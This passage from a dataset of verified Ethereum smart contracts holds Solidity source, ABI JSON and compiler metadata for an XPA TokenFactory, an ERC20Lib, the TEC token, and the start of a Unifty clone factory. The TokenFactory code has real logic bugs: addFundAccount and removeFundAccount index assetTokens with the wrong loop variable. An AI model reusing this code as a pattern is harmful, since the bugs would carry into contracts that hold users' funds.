uint256 amount_
)
public
returns(bool success) {
require(allowToBurn(msg.sender));
if(balances[user_] >= amount_ && allowed[user_][msg.sender] >= amount_ && amount_ > 0) {
balances[user_] = safeSub(balances[user_], amount_);
totalSupply = safeSub(totalSupply, amount_);
allowed[user_][msg.sender] = safeSub(allowed[user_][msg.sender], amount_);
emit Transfer(user_, owner, amount_);
emit Burn(owner, amount_);
return true;
}
}
function getDefaultExchangeRate(
)
public
view
returns(uint256) {
return defaultExchangeRate;
}
function getSymbol(
)
public
view
returns(bytes32) {
return keccak256(symbol);
}
function assignBurner(
address account_
)
public
onlyOperator
{
require(account_ != address(0));
for(uint256 i = 0; i < burners.length; i++) {
if(burners[i] == account_) {
return;
}
}
burners.push(account_);
}
function dismissBunner(
address account_
)
public
onlyOperator
{
require(account_ != address(0));
for(uint256 i = 0; i < burners.length; i++) {
if(burners[i] == account_) {
burners[i] = burners[burners.length - 1];
burners.length -= 1;
}
}
}
function allowToBurn(
address account_
)
public
view
returns(bool) {
if(checkOperator(account_)) {
return true;
}
for(uint256 i = 0; i < burners.length; i++) {
if(burners[i] == account_) {
return true;
}
}
}
}
contract TokenFactory is Authorization {
string public version = "0.5.0";
event eNominatingExchange(address);
event eNominatingXPAAssets(address);
event eNominatingETHAssets(address);
event eCancelNominatingExchange(address);
event eCancelNominatingXPAAssets(address);
event eCancelNominatingETHAssets(address);
event eChangeExchange(address, address);
event eChangeXPAAssets(address, address);
event eChangeETHAssets(address, address);
event eAddFundAccount(address);
event eRemoveFundAccount(address);
address[] public assetTokens;
address[] public fundAccounts;
address public exchange = 0x008ea74569c1b9bbb13780114b6b5e93396910070a;
address public exchangeOldVersion = 0x0013b4b9c415213bb2d0a5d692b6f2e787b927c211;
address public XPAAssets = address(0);
address public ETHAssets = address(0);
address public candidateXPAAssets = address(0);
address public candidateETHAssets = address(0);
address public candidateExchange = address(0);
uint256 public candidateTillXPAAssets = 0;
uint256 public candidateTillETHAssets = 0;
uint256 public candidateTillExchange = 0;
address public XPA = 0x0090528aeb3a2b736b780fd1b6c478bb7e1d643170;
address public ETH = address(0);
function createToken(
string symbol_,
string name_,
uint256 defaultExchangeRate_
)
public
returns(address) {
require(msg.sender == XPAAssets);
bool tokenRepeat = false;
address newAsset;
for(uint256 i = 0; i < assetTokens.length; i++) {
if(XPAAssetToken(assetTokens[i]).getSymbol() == keccak256(symbol_)){
tokenRepeat = true;
newAsset = assetTokens[i];
break;
}
}
if(!tokenRepeat){
newAsset = new XPAAssetToken(symbol_, name_, defaultExchangeRate_);
XPAAssetToken(newAsset).assignOperator(XPAAssets);
XPAAssetToken(newAsset).assignOperator(ETHAssets);
for(uint256 j = 0; j < fundAccounts.length; j++) {
XPAAssetToken(newAsset).assignBurner(fundAccounts[j]);
}
assetTokens.push(newAsset);
}
return newAsset;
}
// set to candadite, after 7 days set to exchange, set again after 7 days
function setExchange(
address exchange_
)
public
onlyOperator
{
require(
exchange_ != address(0)
);
if(
exchange_ == exchange &&
candidateExchange != address(0)
) {
emit eCancelNominatingExchange(candidateExchange);
candidateExchange = address(0);
candidateTillExchange = 0;
} else if(
exchange == address(0)
) {
// initial value
emit eChangeExchange(address(0), exchange_);
exchange = exchange_;
exchangeOldVersion = exchange_;
} else if(
exchange_ != candidateExchange &&
candidateTillExchange + 86400 * 7 < block.timestamp
) {
// set to candadite
emit eNominatingExchange(exchange_);
candidateExchange = exchange_;
candidateTillExchange = block.timestamp + 86400 * 7;
} else if(
exchange_ == candidateExchange &&
candidateTillExchange < block.timestamp
) {
// set to exchange
emit eChangeExchange(exchange, candidateExchange);
exchangeOldVersion = exchange;
exchange = candidateExchange;
candidateExchange = address(0);
}
}
function setXPAAssets(
address XPAAssets_
)
public
onlyOperator
{
require(
XPAAssets_ != address(0)
);
if(
XPAAssets_ == XPAAssets &&
candidateXPAAssets != address(0)
) {
emit eCancelNominatingXPAAssets(candidateXPAAssets);
candidateXPAAssets = address(0);
candidateTillXPAAssets = 0;
} else if(
XPAAssets == address(0)
) {
// initial value
emit eChangeXPAAssets(address(0), XPAAssets_);
XPAAssets = XPAAssets_;
} else if(
XPAAssets_ != candidateXPAAssets &&
candidateTillXPAAssets + 86400 * 7 < block.timestamp
) {
// set to candadite
emit eNominatingXPAAssets(XPAAssets_);
candidateXPAAssets = XPAAssets_;
candidateTillXPAAssets = block.timestamp + 86400 * 7;
} else if(
XPAAssets_ == candidateXPAAssets &&
candidateTillXPAAssets < block.timestamp
) {
// set to XPAAssets
emit eChangeXPAAssets(XPAAssets, candidateXPAAssets);
dismissTokenOperator(XPAAssets);
assignTokenOperator(candidateXPAAssets);
XPAAssets = candidateXPAAssets;
candidateXPAAssets = address(0);
}
}
function setETHAssets(
address ETHAssets_
)
public
onlyOperator
{
require(
ETHAssets_ != address(0)
);
if(
ETHAssets_ == ETHAssets &&
candidateETHAssets != address(0)
) {
emit eCancelNominatingETHAssets(candidateETHAssets);
candidateETHAssets = address(0);
candidateTillETHAssets = 0;
} else if(
ETHAssets == address(0)
) {
// initial value
ETHAssets = ETHAssets_;
} else if(
ETHAssets_ != candidateETHAssets &&
candidateTillETHAssets + 86400 * 7 < block.timestamp
) {
// set to candadite
emit eNominatingETHAssets(ETHAssets_);
candidateETHAssets = ETHAssets_;
candidateTillETHAssets = block.timestamp + 86400 * 7;
} else if(
ETHAssets_ == candidateETHAssets &&
candidateTillETHAssets < block.timestamp
) {
// set to ETHAssets
emit eChangeETHAssets(ETHAssets, candidateETHAssets);
dismissTokenOperator(ETHAssets);
assignTokenOperator(candidateETHAssets);
ETHAssets = candidateETHAssets;
candidateETHAssets = address(0);
}
}
function addFundAccount(
address account_
)
public
onlyOperator
{
require(account_ != address(0));
for(uint256 i = 0; i < fundAccounts.length; i++) {
if(fundAccounts[i] == account_) {
return;
}
}
for(uint256 j = 0; j < assetTokens.length; j++) {
XPAAssetToken(assetTokens[i]).assignBurner(account_);
}
emit eAddFundAccount(account_);
fundAccounts.push(account_);
}
function removeFundAccount(
address account_
)
public
onlyOperator
{
require(account_ != address(0));
uint256 i = 0;
uint256 j = 0;
for(i = 0; i < fundAccounts.length; i++) {
if(fundAccounts[i] == account_) {
for(j = 0; j < assetTokens.length; j++) {
XPAAssetToken(assetTokens[i]).dismissBunner(account_);
}
fundAccounts[i] = fundAccounts[fundAccounts.length - 1];
fundAccounts.length -= 1;
}
}
}
function getPrice(
address token_
)
public
view
returns(uint256) {
uint256 currPrice = Baliv(exchange).getPrice(XPA, token_);
if(currPrice == 0) {
currPrice = XPAAssetToken(token_).getDefaultExchangeRate();
}
return currPrice;
}
function getAssetLength(
)
public
view
returns(uint256) {
return assetTokens.length;
}
function getAssetToken(
uint256 index_
)
public
view
returns(address) {
return assetTokens[index_];
}
function assignTokenOperator(address user_)
internal
{
if(user_ != address(0)) {
for(uint256 i = 0; i < assetTokens.length; i++) {
XPAAssetToken(assetTokens[i]).assignOperator(user_);
}
}
}
function dismissTokenOperator(address user_)
internal
{
if(user_ != address(0)) {
for(uint256 i = 0; i < assetTokens.length; i++) {
XPAAssetToken(assetTokens[i]).dismissOperator(user_);
}
}
}
} | [{"constant":true,"inputs":[{"name":"index_","type":"uint256"}],"name":"getAssetToken","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"ETHAssets_","type":"address"}],"name":"setETHAssets","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"candidateTillETHAssets","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"XPAAssets_","type":"address"}],"name":"setXPAAssets","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"token_","type":"address"}],"name":"getPrice","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"XPA","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"ETHAssets","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"account_","type":"address"}],"name":"removeFundAccount","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"candidateExchange","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"symbol_","type":"string"},{"name":"name_","type":"string"},{"name":"defaultExchangeRate_","type":"uint256"}],"name":"createToken","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"exchange_","type":"address"}],"name":"setExchange","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"candidateTillXPAAssets","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"assetTokens","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"ETH","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"candidateXPAAssets","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"user_","type":"address"}],"name":"assignOperator","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"user_","type":"address"}],"name":"dismissOperator","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"account_","type":"address"}],"name":"addFundAccount","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getAssetLength","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"exchange","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"candidateTillExchange","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"onOff_","type":"bool"}],"name":"powerSwitch","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"user_","type":"address"}],"name":"checkOperator","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"powerStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"operators","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"exchangeOldVersion","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"fundAccounts","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"candidateETHAssets","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"XPAAssets","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner_","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"anonymous":false,"inputs":[{"indexed":false,"name":"","type":"address"}],"name":"eNominatingExchange","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"","type":"address"}],"name":"eNominatingXPAAssets","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"","type":"address"}],"name":"eNominatingETHAssets","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"","type":"address"}],"name":"eCancelNominatingExchange","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"","type":"address"}],"name":"eCancelNominatingXPAAssets","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"","type":"address"}],"name":"eCancelNominatingETHAssets","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"","type":"address"},{"indexed":false,"name":"","type":"address"}],"name":"eChangeExchange","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"","type":"address"},{"indexed":false,"name":"","type":"address"}],"name":"eChangeXPAAssets","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"","type":"address"},{"indexed":false,"name":"","type":"address"}],"name":"eChangeETHAssets","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"","type":"address"}],"name":"eAddFundAccount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"","type":"address"}],"name":"eRemoveFundAccount","type":"event"}] | v0.4.21+commit.dfe3193c | true | 200 | Default | false | bzzr://5d196add339a8b1d5ffa2efd163897e3342ee8d70a0337bf7c7a5aa019a85d12 |
||||
ERC20Lib | ERC20Lib.sol | 0x63728c92cedd834ec154ce055b7bed61b9b6ce46 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "./IERC20Lib.sol";
contract ERC20Lib is IERC20Lib {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public totalSupply;
string public name;
string public symbol;
uint8 public decimals;
bool public initialized = false;
constructor () {
initialized = true;
}
function init(address owner_, string memory name_, string memory symbol_, uint256 totalSupply_) external override {
require(initialized == false, "Contract already initialized");
name = name_;
symbol = symbol_;
decimals = 18;
_balances[owner_] = totalSupply_;
totalSupply = totalSupply_;
initialized = true;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint256 newAllowance = _allowances[sender][msg.sender] - amount;
_allowances[sender][msg.sender] = newAllowance;
emit Approval(sender, msg.sender, newAllowance);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.8.0+commit.c7dfd78e | true | 999,999 | Default | MIT | false | ipfs://05af3b3d3c7b3efc0b4698552c57420831d2007d9b84a99d38ae152263f2b8e4 |
|||
ERC20Lib | IERC20Lib.sol | 0x63728c92cedd834ec154ce055b7bed61b9b6ce46 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
interface IERC20Lib {
function init(address owner_, string memory name_, string memory symbol_, uint256 totalSupply_) external;
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.8.0+commit.c7dfd78e | true | 999,999 | Default | MIT | false | ipfs://05af3b3d3c7b3efc0b4698552c57420831d2007d9b84a99d38ae152263f2b8e4 |
|||
TourismEcologyChainToken | TourismEcologyChainToken.sol | 0xb5d3f782d5b08b6b1eea977ab7f4520b983088d1 | Solidity | pragma solidity ^0.4.18;
// -----------------------------------------------------------------------
// An ERC20 standard
contract ERC20 {
// the total token supply
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
interface TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
contract TourismEcologyChainBase is ERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
// Balances
mapping (address => uint256) balances;
// Allowances
mapping (address => mapping (address => uint256)) allowances;
// ----- Events -----
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*/
function TourismEcologyChainBase(uint256 _initialSupply, string _tokenName, string _tokenSymbol, uint8 _decimals) public {
name = _tokenName; // Set the name for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
decimals = _decimals;
totalSupply = _initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
function balanceOf(address _owner) public view returns(uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowances[_owner][_spender];
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal returns(bool) {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balances[_from] >= _value);
// Check for overflows
require(balances[_to] + _value > balances[_to]);
// Save this for an assertion in the future
uint previousBalances = balances[_from] + balances[_to];
// Subtract from the sender
balances[_from] -= _value;
// Add the same to the recipient
balances[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[_from] + balances[_to] == previousBalances);
return true;
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns(bool) {
return _transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
require(_value <= allowances[_from][msg.sender]); // Check allowance
allowances[_from][msg.sender] -= _value;
return _transfer(_from, _to, _value);
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns(bool) {
allowances[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns(bool) {
if (approve(_spender, _value)) {
TokenRecipient spender = TokenRecipient(_spender);
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
return false;
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns(bool) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns(bool) {
require(balances[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowances[_from][msg.sender]); // Check allowance
balances[_from] -= _value; // Subtract from the targeted balance
allowances[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
/**
* approve should be called when allowances[_spender] == 0. To increment
* allowances value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
// Check for overflows
require(allowances[msg.sender][_spender] + _addedValue > allowances[msg.sender][_spender]);
allowances[msg.sender][_spender] += _addedValue;
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowances[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowances[msg.sender][_spender] = 0;
} else {
allowances[msg.sender][_spender] = oldValue - _subtractedValue;
}
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
}
contract TourismEcologyChainToken is TourismEcologyChainBase {
function TourismEcologyChainToken() TourismEcologyChainBase(800000000, "TEC Token", "TEC", 18) public {
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_value","type":"uint256"}],"name":"burnFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_extraData","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.18+commit.9cf6e910 | false | 200 | Default | false | bzzr://20e97f479e132f6d44b4b51fbd0ce74a6da132a61734badc3bad4767f63a7d10 |
||||
Unifty | Unifty.sol | 0x80ca25fc1d4ecef5e0bbad5a310ec922b13146d3 | Solidity | pragma solidity ^0.5.17;
contract CloneFactory {
function createClone(address target) internal returns (address result) {
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
